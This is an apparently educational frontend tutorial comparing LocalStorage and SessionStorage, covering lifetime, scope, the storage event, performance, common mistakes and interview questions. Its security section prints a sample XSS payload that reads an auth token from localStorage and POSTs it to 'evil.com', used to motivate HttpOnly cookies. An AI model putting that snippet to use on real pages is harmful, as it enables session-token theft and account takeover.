LocalStorageSessionStorageWeb StorageBrowser APIsSecurity

LocalStorage vs SessionStorage

Understand the two browser storage APIs that every frontend developer uses daily. Learn when data should persist forever vs disappear on tab close, why storing tokens in either is risky, and how to make the right storage choice in interviews.

24 min read13 sections
01

Overview

Browsers provide two built-in key-value storage APIs: LocalStorage and SessionStorage. Both store string data on the client side with zero network requests, but they differ in one critical way — lifetime. LocalStorage persists until explicitly deleted (survives tab close, browser restart, even system reboot). SessionStorage is scoped to a single tab and cleared when that tab closes.

Together they form the Web Storage API — a synchronous, origin-scoped storage mechanism with ~5-10MB capacity per origin. They're the go-to solution for lightweight client-side data: theme preferences, form drafts, UI state, feature flags. But they come with real security limitations — both are accessible to any JavaScript running on the page, making them vulnerable to XSS attacks.

Interviewers love this topic because it tests whether you understand storage trade-offs: persistence vs security, convenience vs risk, and when to use Web Storage vs cookies vs IndexedDB.

Why this matters

"Where would you store a JWT token?" and "What's the difference between LocalStorage and SessionStorage?" are standard interview questions. The answer reveals whether you understand browser security, data lifecycle, and storage trade-offs.

02

The Problem: Where to Store Data

Frontend applications constantly need to store data on the client — but different data has different requirements. Picking the wrong storage mechanism leads to security vulnerabilities, broken UX, or unnecessary complexity.

💾

Persistence Needs

Should the data survive a page refresh? A tab close? A browser restart? Theme preferences should persist forever. A checkout flow's step number should not.

🔒

Security Needs

Is the data sensitive? Auth tokens, personal info, and payment data need protection from XSS. A dark mode toggle does not. The storage choice directly affects risk.

📋

Scope Needs

Should the data be shared across tabs? LocalStorage is shared — change theme in one tab, all tabs update. SessionStorage is isolated — each tab has its own copy.

Common Storage Needstext
Data to store              Persist?   Shared?   Sensitive?   Best choice
─────────────────────────────────────────────────────────────────────────
Theme preference (dark)    Forever    Yes       No           LocalStorage
Language selection          Forever    Yes       No           LocalStorage
Form draft (unsaved)       Tab only   No        Maybe        SessionStorage
Checkout step number       Tab only   No        No           SessionStorage
Auth token (JWT)           Session    Yes       YES ⚠️       HttpOnly Cookie
Shopping cart              Forever    Yes       No           LocalStorage
Wizard/multi-step state    Tab only   No        No           SessionStorage
Feature flags              Forever    Yes       No           LocalStorage
Redirect URL after login   Tab only   No        No           SessionStorage
User profile cache         Forever    Yes       Maybe        LocalStorage (public data only)

The decision framework

Ask three questions: (1) Should it persist after tab close? Yes → LocalStorage. No → SessionStorage. (2) Is it sensitive? Yes → neither — use HttpOnly cookies. (3) Does it need to be shared across tabs? Yes → LocalStorage. No → SessionStorage.

03

What Is LocalStorage?

LocalStorage is a persistent key-value store scoped to the origin (protocol + domain + port). Data stored in LocalStorage has no expiration — it remains until your code explicitly removes it or the user clears browser data. It's shared across all tabs and windows of the same origin.

localStorage-basics.jsjavascript
// Store a value
localStorage.setItem("theme", "dark");

// Retrieve a value
const theme = localStorage.getItem("theme"); // "dark"

// Store an object (must serialize to string)
const prefs = { fontSize: 16, language: "en", sidebar: true };
localStorage.setItem("preferences", JSON.stringify(prefs));

// Retrieve and parse the object
const saved = JSON.parse(localStorage.getItem("preferences"));
console.log(saved.fontSize); // 16

// Remove a specific key
localStorage.removeItem("theme");

// Clear everything for this origin
localStorage.clear();

// Check how many items are stored
console.log(localStorage.length); // number of keys

Key Characteristics

  • Persistent — data survives tab close, browser restart, system reboot
  • Origin-scoped — https://example.com can't read data from https://other.com
  • Shared across tabs — all tabs on the same origin see the same data
  • Synchronous API — reads and writes block the main thread
  • String-only — values must be strings (use JSON.stringify for objects)
  • ~5-10MB limit per origin (varies by browser)
  • No expiration — data stays until explicitly removed

The storage event

When one tab writes to LocalStorage, other tabs on the same origin receive a storage event. This enables cross-tab communication — change the theme in one tab and all tabs can react. SessionStorage does not fire this event (it's tab-isolated).

04

What Is SessionStorage?

SessionStorage is a tab-scoped key-value store. It has the same API as LocalStorage, but data is isolated to the specific browser tab that created it and is cleared when that tab closes. Opening the same URL in a new tab creates a fresh, empty SessionStorage.

sessionStorage-basics.jsjavascript
// Store the current step in a multi-step form
sessionStorage.setItem("checkoutStep", "2");

// Retrieve it
const step = sessionStorage.getItem("checkoutStep"); // "2"

// Store temporary form data
const formDraft = { name: "Jane", email: "jane@example.com" };
sessionStorage.setItem("formDraft", JSON.stringify(formDraft));

// Retrieve and parse
const draft = JSON.parse(sessionStorage.getItem("formDraft"));
console.log(draft.name); // "Jane"

// Remove a specific key
sessionStorage.removeItem("checkoutStep");

// Clear everything for this tab
sessionStorage.clear();

// Behavior:
// - Close this tab → all sessionStorage data is gone
// - Open same URL in new tab → empty sessionStorage
// - Refresh this tab → sessionStorage is preserved ✅
// - Duplicate tab (Cmd+D) → new tab gets a COPY of sessionStorage

Key Characteristics

  • Tab-scoped — each tab has its own isolated storage
  • Cleared on tab close — data does not persist across sessions
  • Survives page refresh — data persists within the same tab session
  • Not shared across tabs — Tab A can't read Tab B's sessionStorage
  • Origin-scoped — same origin restriction as LocalStorage
  • Synchronous API — same methods as LocalStorage
  • ~5-10MB limit per origin per tab
  • No storage event across tabs — changes are invisible to other tabs

Duplicate tab behavior

When a user duplicates a tab (Cmd+D / Ctrl+D), the new tab gets a copy of the original tab's SessionStorage at that moment. After that, the two tabs are independent — changes in one don't affect the other. This is a common interview gotcha.

05

Key Differences

This is the section interviewers care about most. You need to clearly articulate the differences and explain when each is appropriate.

LocalStorageSessionStorage
LifetimePermanent — until explicitly deletedTab session — cleared when tab closes
ScopeShared across all tabs (same origin)Isolated to a single tab
Survives refresh?YesYes
Survives tab close?YesNo — data is deleted
Survives browser restart?YesNo
Cross-tab communicationYes (storage event fires in other tabs)No (changes invisible to other tabs)
Storage limit~5-10MB per origin~5-10MB per origin per tab
APIIdentical (setItem, getItem, removeItem, clear)Identical (setItem, getItem, removeItem, clear)
XSS vulnerable?Yes — any JS on the page can read itYes — any JS on the page can read it
Best forPreferences, settings, non-sensitive persistent dataTemporary state, form drafts, wizard steps
Behavior Comparisontext
Scenario: User opens Tab A, stores data, then opens Tab B

LocalStorage:
  Tab A: localStorage.setItem("theme", "dark")
  Tab B: localStorage.getItem("theme") → "dark"Shared!
  Close Tab A: data still exists
  Close Tab B: data still exists
  Restart browser: data still exists

SessionStorage:
  Tab A: sessionStorage.setItem("step", "3")
  Tab B: sessionStorage.getItem("step") → nullNot shared!
  Close Tab A: data is deleted
  Tab B: unaffected (has its own storage)
  Restart browser: all sessionStorage is gone

Same API, different behavior

The code is identical — just swap localStorage for sessionStorage. The difference is entirely in lifetime and scope. This makes it easy to switch between them, but also easy to pick the wrong one if you don't think about the data's lifecycle.

06

API & Usage

Both LocalStorage and SessionStorage share the exact same API. The methods are simple, but there are important patterns for handling JSON data and errors.

web-storage-api.jsjavascript
// ─── Core Methods (same for both) ───────────────

// setItem(key, value) — store a string value
localStorage.setItem("username", "jane_doe");
sessionStorage.setItem("currentStep", "2");

// getItem(key) — retrieve a value (returns null if not found)
const user = localStorage.getItem("username");     // "jane_doe"
const missing = localStorage.getItem("nonexistent"); // null

// removeItem(key) — delete a specific key
localStorage.removeItem("username");

// clear() — delete ALL keys for this origin
localStorage.clear();

// length — number of stored keys
console.log(localStorage.length);

// key(index) — get the key name at a given index
console.log(localStorage.key(0)); // first key name

Working with Objects (JSON Pattern)

json-storage-pattern.jsjavascript
// Web Storage only stores strings.
// For objects/arrays, use JSON.stringify and JSON.parse.

// ─── Safe Storage Helper ────────────────────────

function setJSON(storage, key, value) {
  try {
    storage.setItem(key, JSON.stringify(value));
  } catch (e) {
    // QuotaExceededError — storage is full
    console.error("Storage full:", e);
  }
}

function getJSON(storage, key, fallback = null) {
  try {
    const item = storage.getItem(key);
    return item ? JSON.parse(item) : fallback;
  } catch (e) {
    // Invalid JSON in storage
    console.error("Parse error:", e);
    return fallback;
  }
}

// Usage:
setJSON(localStorage, "cart", [
  { id: 1, name: "Shoes", qty: 2 },
  { id: 2, name: "Shirt", qty: 1 },
]);

const cart = getJSON(localStorage, "cart", []);
console.log(cart[0].name); // "Shoes"

// Always provide a fallback for missing/corrupt data
const prefs = getJSON(localStorage, "preferences", {
  theme: "light",
  fontSize: 14,
});

Cross-Tab Communication (storage event)

storage-event.jsjavascript
// The "storage" event fires in OTHER tabs when localStorage changes.
// It does NOT fire in the tab that made the change.
// SessionStorage does NOT trigger this event.

window.addEventListener("storage", (event) => {
  console.log("Key changed:", event.key);
  console.log("Old value:", event.oldValue);
  console.log("New value:", event.newValue);
  console.log("URL:", event.url);

  // React to theme change from another tab
  if (event.key === "theme") {
    document.body.className = event.newValue; // "dark" or "light"
  }
});

// Tab A: localStorage.setItem("theme", "dark");
// Tab B: storage event fires → { key: "theme", newValue: "dark" }
// Tab B can update its UI without polling or refreshing

Error handling matters

Always wrap storage operations in try/catch. Storage can throw QuotaExceededError when full, and JSON.parse can throw on corrupt data. In private/incognito mode, some browsers restrict or disable storage entirely.

07

Real-World Use Cases

The right storage choice depends on the data's lifecycle. Here are concrete examples of when to use each.

LocalStorage — Persistent Data

Use CaseWhy LocalStorageExample
Theme preferenceShould persist across sessions and tabssetItem("theme", "dark")
Language selectionUser shouldn't re-select on every visitsetItem("lang", "fr")
Shopping cartShould survive tab close so items aren't lostsetItem("cart", JSON.stringify(items))
Feature flagsPersist until next fetch from serversetItem("flags", JSON.stringify(flags))
Onboarding completedDon't show onboarding again after completionsetItem("onboarded", "true")
Recently viewed itemsPersist across sessions for recommendationssetItem("recent", JSON.stringify(ids))

SessionStorage — Temporary Data

Use CaseWhy SessionStorageExample
Multi-step form stateShould reset if user opens a new tabsetItem("checkoutStep", "2")
Form draft (unsaved)Temporary — don't persist stale drafts foreversetItem("formDraft", JSON.stringify(data))
Redirect URL after loginOnly needed for this tab's login flowsetItem("redirectTo", "/dashboard")
Scroll positionRestore scroll on back navigation within this tabsetItem("scrollY", window.scrollY)
One-time notification dismissedShow again in new tabs but not on refreshsetItem("bannerDismissed", "true")
Search filters (temporary)Reset when user starts a new sessionsetItem("filters", JSON.stringify(filters))
Real-World: Theme Toggle with Cross-Tab Syncjavascript
// Theme toggle that syncs across all tabs

function setTheme(theme) {
  document.documentElement.setAttribute("data-theme", theme);
  localStorage.setItem("theme", theme);
}

// Apply saved theme on page load
const savedTheme = localStorage.getItem("theme") || "light";
setTheme(savedTheme);

// Listen for theme changes from other tabs
window.addEventListener("storage", (e) => {
  if (e.key === "theme" && e.newValue) {
    document.documentElement.setAttribute("data-theme", e.newValue);
  }
});

// Toggle button handler
themeButton.addEventListener("click", () => {
  const current = localStorage.getItem("theme") || "light";
  setTheme(current === "light" ? "dark" : "light");
});

// Result: click toggle in Tab A → Tab B, C, D all switch theme instantly

The cart dilemma

Shopping carts are a classic debate. LocalStorage keeps the cart if the user closes the browser and comes back later (good UX). But if the user is on a shared computer, the next person sees the previous user's cart (bad UX). Many e-commerce sites use server-side cart storage tied to the user account, with LocalStorage as a fallback for anonymous users.

08

Security Considerations

This is the most important section for interviews. Both LocalStorage and SessionStorage have the same security model — and the same vulnerability. Understanding this is critical for making safe storage decisions.

The XSS Problem

XSS Attack on Web Storagejavascript
// Any JavaScript running on your page can read ALL of Web Storage.
// This includes:
//   - Your application code ✅
//   - Third-party scripts (analytics, ads, chat widgets) ⚠️
//   - Injected scripts from XSS vulnerabilities ❌

// If an attacker injects this script via XSS:
const token = localStorage.getItem("authToken");
fetch("https://evil.com/steal", {
  method: "POST",
  body: JSON.stringify({ token }),
});

// The attacker now has the user's auth token.
// They can impersonate the user, access their account,
// and perform any action the token allows.

// This applies to BOTH localStorage AND sessionStorage.
// There is no way to protect Web Storage from JavaScript access.
StorageXSS Accessible?Sent with Requests?HttpOnly?
LocalStorageYes — any JS can read itNo — must be added manuallyNo — always accessible to JS
SessionStorageYes — any JS can read itNo — must be added manuallyNo — always accessible to JS
HttpOnly CookieNo — invisible to JSYes — sent automaticallyYes — browser enforces it

Auth Token Storage: The Trade-offs

Token Storage Decisiontext
Where should you store auth tokens (JWT)?

Option 1: LocalStorage
Easy to usejust setItem/getItem
Persists across tabs and sessions
XSS can steal the token
Token stays forever until you remove it
Use only if XSS risk is very low and convenience matters

Option 2: SessionStorage
Cleared on tab close (limits exposure window)
XSS can still steal it while the tab is open
User must re-login in every new tab
Slightly better than LocalStorage, but still vulnerable

Option 3: HttpOnly Cookie (RECOMMENDED)
Invisible to JavaScriptXSS cannot read it
Sent automatically with requests (no manual header)
Can set Secure, SameSite, and expiration
Vulnerable to CSRF (mitigate with SameSite + CSRF tokens)
Slightly more complex server setup
Best option for auth tokens in most applications

Option 4: In-memory variable (most secure, least convenient)
Not persisted anywheregone on refresh
XSS can't read it from storage
Lost on page refreshuser must re-authenticate
Use for highest-security applications (banking)

The interview answer

"I would store auth tokens in HttpOnly cookies with Secure and SameSite flags. Web Storage (LocalStorage/SessionStorage) is accessible to any JavaScript on the page, making it vulnerable to XSS. HttpOnly cookies are invisible to JavaScript, so even if an XSS attack occurs, the token can't be stolen. I'd mitigate CSRF with SameSite=Strict and a CSRF token."

09

Performance Insights

Web Storage is fast for small reads/writes, but its synchronous API and string serialization have performance implications you should understand.

✓ Done

Zero Network Overhead

Web Storage reads are instant — data is on disk, no HTTP request needed. Reading a theme preference from LocalStorage takes <1ms vs 200ms+ for an API call. Use it to avoid unnecessary network requests for non-sensitive data.

✓ Done

Synchronous API Blocks Main Thread

setItem and getItem are synchronous — they block JavaScript execution until complete. For small values this is negligible (<1ms). For large values (100KB+), serialization and disk I/O can cause visible jank. Keep stored values small.

✓ Done

JSON Serialization Cost

JSON.stringify on write and JSON.parse on read add CPU cost proportional to data size. A 1KB object is instant. A 500KB object takes 5-10ms to parse — enough to drop a frame. Store only what you need.

→ Could add

Use IndexedDB for Large Data

If you need to store more than ~100KB of structured data, use IndexedDB instead. It has an asynchronous API that doesn't block the main thread, supports indexes for fast queries, and has much higher storage limits (50MB+).

→ Could add

Batch Reads on Page Load

If you read multiple keys on page load, batch them into a single stored object instead of multiple getItem calls. One JSON.parse of a combined object is faster than 10 separate getItem + parse calls.

OperationSmall Value (100B)Medium Value (10KB)Large Value (500KB)
setItem<0.1ms~0.5ms~5-10ms ⚠️
getItem<0.1ms~0.3ms~3-5ms ⚠️
JSON.stringify<0.1ms~0.2ms~5-10ms ⚠️
JSON.parse<0.1ms~0.3ms~5-15ms ⚠️

Rule of thumb

Web Storage is great for small, simple data (under 50KB total). For anything larger, more complex, or performance-sensitive, use IndexedDB (async, indexed, higher limits) or an in-memory cache (fastest, but lost on refresh).

10

Common Mistakes

🔓

Storing auth tokens in LocalStorage

JWTs and session tokens in LocalStorage are accessible to any JavaScript on the page — including XSS-injected scripts. An attacker can steal the token and impersonate the user.

Store auth tokens in HttpOnly cookies with Secure and SameSite flags. HttpOnly cookies are invisible to JavaScript, preventing XSS token theft. Mitigate CSRF with SameSite=Strict.

💥

Not handling JSON parse errors

Calling JSON.parse(localStorage.getItem('key')) throws if the stored value is not valid JSON (e.g., corrupted data, plain string, or null). This crashes your app.

Always wrap JSON.parse in try/catch and provide a fallback value. Create a helper function: getJSON(key, fallback) that handles null, parse errors, and missing keys gracefully.

📦

Storing large amounts of data

Web Storage has a ~5-10MB limit and a synchronous API. Storing 500KB+ of data causes visible jank during serialization. Exceeding the limit throws QuotaExceededError.

Keep Web Storage under 50KB total. For larger data, use IndexedDB (async, 50MB+ limit). For temporary large data, consider in-memory storage with a persistence fallback.

🔄

Assuming SessionStorage persists across tabs

Developers often expect sessionStorage.setItem in Tab A to be readable in Tab B. It's not — SessionStorage is completely isolated per tab. This causes bugs in multi-tab workflows.

If data needs to be shared across tabs, use LocalStorage (with the storage event for sync). If it must be tab-isolated, SessionStorage is correct — just be aware of the limitation.

🕐

No expiration strategy for LocalStorage

LocalStorage data never expires. Old data accumulates over months/years, wasting space and potentially causing bugs when your app's data format changes.

Store a timestamp alongside your data and check it on read. If expired, delete and re-fetch. Or store a version number and clear storage when your app version changes.

11

Interview Questions

Q:What is the difference between LocalStorage and SessionStorage?

A: Both are key-value storage APIs with the same methods (setItem, getItem, removeItem, clear). The key difference is lifetime and scope: LocalStorage persists permanently and is shared across all tabs on the same origin. SessionStorage is scoped to a single tab and cleared when that tab closes. Both survive page refreshes. Both are vulnerable to XSS. Use LocalStorage for persistent preferences, SessionStorage for temporary tab-specific state.

Q:Is it safe to store JWT tokens in LocalStorage?

A: No — it's generally not recommended. LocalStorage is accessible to any JavaScript running on the page, including scripts injected via XSS attacks. An attacker can read the token with localStorage.getItem('token') and send it to their server. The safer alternative is HttpOnly cookies, which are invisible to JavaScript. If you must use LocalStorage (e.g., for a SPA with token-based auth), ensure strong XSS prevention: CSP headers, input sanitization, and no inline scripts.

Q:What are the storage limits for Web Storage?

A: Both LocalStorage and SessionStorage have a limit of approximately 5-10MB per origin, depending on the browser. Chrome and Firefox allow ~5MB, Safari allows ~5MB. The limit is per origin (protocol + domain + port), not per page. Exceeding the limit throws a QuotaExceededError. For larger storage needs, use IndexedDB (50MB+ with user permission) or the Cache API.

Q:How does the storage event work for cross-tab communication?

A: When one tab writes to LocalStorage (setItem, removeItem, clear), all OTHER tabs on the same origin receive a 'storage' event with the key, oldValue, newValue, and URL. The tab that made the change does NOT receive the event. This enables cross-tab sync — e.g., changing theme in one tab updates all tabs. SessionStorage does NOT fire storage events because it's tab-isolated.

Q:When would you use SessionStorage over LocalStorage?

A: Use SessionStorage when data should not persist beyond the current tab session: multi-step form state (reset if user opens new tab), redirect URL after login (only needed for this tab's flow), temporary UI state (scroll position, expanded sections), one-time notifications that should reappear in new tabs. The key question: should this data survive a tab close? No → SessionStorage. Yes → LocalStorage.

Q:What happens to SessionStorage when you duplicate a tab?

A: When a user duplicates a tab (Cmd+D), the new tab receives a COPY of the original tab's SessionStorage at that moment. After duplication, the two tabs are completely independent — changes in one don't affect the other. This is a common interview gotcha because it's the one case where SessionStorage 'transfers' between tabs.

Q:How would you implement expiring data in LocalStorage?

A: Store a timestamp alongside the data: setItem('cache', JSON.stringify({ data: value, expiry: Date.now() + 3600000 })). On read, check if Date.now() > expiry. If expired, remove the key and return null. This mimics max-age behavior for LocalStorage. Alternatively, store a version number and clear all storage when your app version changes.

Q:Compare Web Storage, Cookies, and IndexedDB.

A: Web Storage (5-10MB): simple key-value strings, synchronous, no server communication, XSS accessible. Best for preferences and UI state. Cookies (4KB): sent with every HTTP request, supports HttpOnly (XSS-safe), has expiration, domain/path scoping. Best for auth tokens. IndexedDB (50MB+): async, structured data with indexes, transactions, supports binary data. Best for large datasets, offline apps, and complex queries.

12

Practice Section

1

The Theme Preference

You're building a dark mode toggle. The user expects their theme choice to persist across browser restarts and apply to all open tabs immediately. Which storage would you use and how would you implement cross-tab sync?

Answer: Use LocalStorage — it persists across sessions and is shared across tabs. Store the theme with localStorage.setItem('theme', 'dark'). For cross-tab sync, listen for the 'storage' event: window.addEventListener('storage', (e) => { if (e.key === 'theme') applyTheme(e.newValue) }). This fires in all other tabs when the theme changes, enabling instant sync without polling.

2

The Multi-Step Checkout

Your checkout flow has 4 steps. If the user refreshes the page, they should stay on their current step. But if they open the checkout in a new tab, it should start from step 1. Where do you store the step number?

Answer: Use SessionStorage — it survives page refresh (user stays on step 3 after refresh) but is cleared on tab close and not shared across tabs (new tab starts at step 1). Store with sessionStorage.setItem('checkoutStep', '3'). On page load, read the step and restore the UI. This prevents the confusing scenario where opening checkout in a new tab resumes someone else's progress.

3

The Token Theft

A security audit found that your app stores JWT tokens in LocalStorage. The auditor says this is a vulnerability. Your team argues it's convenient and works fine. Who is right, and what would you recommend?

Answer: The auditor is right. LocalStorage is accessible to any JavaScript on the page — if an XSS vulnerability exists (even in a third-party script), the attacker can steal the token with localStorage.getItem('token'). Recommend migrating to HttpOnly cookies with Secure and SameSite=Strict flags. HttpOnly cookies are invisible to JavaScript, preventing XSS token theft. Mitigate CSRF with SameSite and a CSRF token.

4

The Stale Cache

Your app caches API responses in LocalStorage to avoid redundant network requests. After a backend update, users see outdated data because LocalStorage never expires. How would you fix this?

Answer: Implement an expiration strategy: store data with a timestamp — { data: response, expiry: Date.now() + 300000 } (5 min). On read, check if expired and re-fetch if so. Alternatively, store an app version number and clear all cached data when the version changes. For critical data, use Cache-Control headers and let the browser's HTTP cache handle expiration instead of manual LocalStorage caching.

5

The Storage Quota

Users on Safari report that your app crashes with an error when they try to save preferences. The error is QuotaExceededError. Your app stores user activity logs in LocalStorage that grow over time. How do you fix this?

Answer: Safari has a strict ~5MB LocalStorage limit. Activity logs grow unbounded and eventually exceed it. Fix: (1) Move large data to IndexedDB (50MB+ limit, async API). (2) Implement a size cap — when logs exceed 1MB, trim the oldest entries. (3) Wrap setItem in try/catch to handle QuotaExceededError gracefully. (4) Only store essential data in LocalStorage — preferences and small state, not logs or analytics.

13

Cheat Sheet

Quick Revision Cheat Sheet

LocalStorage: Persistent key-value store. Survives tab close, browser restart. Shared across all tabs (same origin). ~5-10MB limit. No expiration. Best for: preferences, settings, non-sensitive persistent data.

SessionStorage: Tab-scoped key-value store. Cleared on tab close. Not shared across tabs. Survives page refresh. ~5-10MB per tab. Best for: form drafts, wizard steps, temporary UI state.

Same API: setItem(key, value), getItem(key), removeItem(key), clear(), length, key(index). Both store strings only — use JSON.stringify/parse for objects.

XSS Vulnerability: Both are accessible to ANY JavaScript on the page. Never store auth tokens, passwords, or sensitive data. Use HttpOnly cookies for auth tokens instead.

Storage Event: LocalStorage fires 'storage' event in OTHER tabs when data changes. Enables cross-tab sync (theme, language). SessionStorage does NOT fire this event.

Auth Token Storage: HttpOnly Cookie (recommended) > SessionStorage > LocalStorage. HttpOnly cookies are invisible to JS, preventing XSS theft. Add Secure + SameSite flags.

Storage Limits: Web Storage: ~5-10MB per origin. Cookies: ~4KB. IndexedDB: 50MB+ (with permission). Use IndexedDB for large data, Web Storage for small key-value pairs.

JSON Pattern: Always wrap JSON.parse in try/catch with a fallback. Always wrap setItem in try/catch for QuotaExceededError. Create helper functions: setJSON() and getJSON().

Expiration Strategy: LocalStorage has no built-in expiration. Store { data, expiry: Date.now() + ms } and check on read. Or store an app version and clear on version change.

Tab Duplication: Duplicating a tab (Cmd+D) copies SessionStorage to the new tab. After that, the two tabs are independent. Common interview gotcha.

Decision Framework: Persist after tab close? → LocalStorage. Tab-only? → SessionStorage. Sensitive? → HttpOnly Cookie. Large data? → IndexedDB. Sent with requests? → Cookie.

Performance: Synchronous API — blocks main thread. Fast for small values (<1ms). Slow for large values (500KB+ = 5-10ms). Keep total storage under 50KB for best performance.